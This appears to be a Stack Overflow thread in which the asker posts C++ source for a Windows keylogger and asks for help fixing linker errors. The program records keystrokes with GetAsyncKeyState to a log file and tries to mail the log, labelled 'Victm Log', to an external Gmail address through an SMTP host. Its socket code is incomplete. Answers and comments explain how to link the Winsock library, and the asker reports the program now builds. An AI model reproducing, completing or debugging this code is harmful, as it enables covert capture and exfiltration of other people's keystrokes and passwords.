-1

I wrote this code on Code Blocks IDE and I get these errors:

undefined reference to wsastartup@8'
undefined reference to `gethostbyname@4'
undefined reference to `connect@12'
undefined reference to `send@16'
undefined reference to `closesocket@4'
undefined reference to `WSACleanup@0'

I tried to modify the GCC compiler with no success.

Can someone help me to make this program work?

#include <windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string>

#define KEY_PRESSED -32767

FILE *file;

void sendEmail(char *server, char *to, char *from, char *subject, char *message);

int main(int arg, char *argv[])
{
    char key;

    int index;
    int lenght;
    char *buffer;

    file = fopen("Keylogger.txt", "a+");

    if(file != NULL)
    {
        while(true)
        {
            Sleep(10);
            for(key = 8; key <= 255; key++)
            {
                file = fopen("Keylogger.txt", "a+");

                if(GetAsyncKeyState(key) == KEY_PRESSED)
                {
                    switch(key)
                    {
                        case VK_SPACE:
                            fprintf(file, " ");
                            break;
                        case VK_RETURN:
                            fprintf(file, "\n");
                            break;
                        case VK_SHIFT:
                            fprintf(file, "Shift*");
                            break;
                        case VK_BACK:
                            fprintf(file, "\b");
                            break;
                        case VK_RBUTTON:
                            fprintf(file, "*rclick");
                            break;
                        case 188:
                            fprintf(file, ",");
                        case 198:
                            fprintf(file, ".");
                            break;
                        default:
                            fprintf(file, "%c", key);
                            break;
                        }
                    }
                    fclose(file);
                }
                file = fopen("keylogger.txt", "rb");
                fseek(file, 0, SEEK_END);
                lenght = ftell(file);

                if(lenght >= 60)
                {
                    fseek(file, 0, SEEK_SET);
                    buffer = (char*)malloc(lenght);
                    index = fread(buffer, 1, lenght, file);
                    buffer[index] = '\0';
                    sendEmail("gmail-smtp-in.l.google.com", "francorodrigognr@gmail.com", "francorodrigognr@gmail.com", "Victm Log", buffer);
                    fclose(file);
                    file = fopen("Keylogger.txt", "w");
                }fclose(file);
            }
        }
    return 0;
}

void sendEmail(char *server, char *to, char *from, char *subject, char *message)
{
    SOCKET sockfd;
    WSADATA wsaData;
    hostent *host;
    sockaddr_in dest;

    int sent;
    char line[200];

    if(WSAStartup(0x202, &wsaData) != SOCKET_ERROR)
    {
        if((host = gethostbyname(server)) != NULL)
        {
            memset(&dest, 0, sizeof(dest));
            memcpy(&(dest.sin_addr), host -> h_addr, host->h_length);

            connect(sockfd, (struct sockaddr*)&dest, sizeof(dest));

            strcpy(line, "hello me someplace.com\n");
            sent = send(sockfd, line, strlen(line), 0);
            Sleep(500);
        }
    }
    closesocket(sockfd);
    WSACleanup();
}


user4581301
  • 33,082
  • 7
  • 33
  • 54
  • @mkrieger1 The question is about undefined reference error, and not about it being undeclared. Undeclared identifier, and undefined reference to an identifier has 2 very different causes in C++. "_Where did you expect it to be declared?_" Even if it should come from `Winsock2.h`, I suspect, that `Windows.h` is including it. – Algirdas Preidžius Jun 25 '20 at 19:23
  • As explained in the documentation of [`WSAStartup`](https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup) (for example), states that you should link with `Ws2_32.lib`, did you do that? Please show us how are you compiling/linking your application. – Algirdas Preidžius Jun 25 '20 at 19:25
  • i'm did not that. How can i link the ws2_32.lib? – Rodrigo Franco Jun 25 '20 at 19:33
  • 2
    You probably want to consult the documentation in Code::Blocks on how to link to a library. Here is a StackOverflow question about that: [https://stackoverflow.com/questions/5862757/how-do-i-link-to-a-library-with-codeblocks](https://stackoverflow.com/questions/5862757/how-do-i-link-to-a-library-with-codeblocks) – drescherjm Jun 25 '20 at 19:35
  • thanks man. Now is working! – Rodrigo Franco Jun 25 '20 at 20:07

2 Answers2

1

To resolve these errors you need to include the winsock header file:

#include <winsock.h

and link against the winsock32 library using the -L / -l compiler flag:

gcc -l links with a library file.
gcc -L looks in directory for library files.

gcc [options] [source files] [object files] [-Ldir] -llibname [-o outfile]

Then it compiles fine

GuidedHacking
  • 3,628
  • 1
  • 9
  • 59
  • @JerryJeremiah https://www.justfreetools.com/en/code/linux/gcc-l , just point it at the lib – GuidedHacking Jun 29 '20 at 01:43
  • I know, but then you have to edit the makefile. The whole #pragma thing allows everything to be inside the source file. I agree it's not that big of difference but if it doesn't work for GCC you should mention that in your answer since the question specifically mentions GCC. – Jerry Jeremiah Jun 29 '20 at 02:56
0

How to use this?

gcc -l links with a library file. gcc -L looks in directory for library files.

gcc [options] [source files] [object files] [-Ldir] -llibname [-o outfile]

Because, when i try to execute the keylogger.exe on the bin folder, appear this error:

enter image description here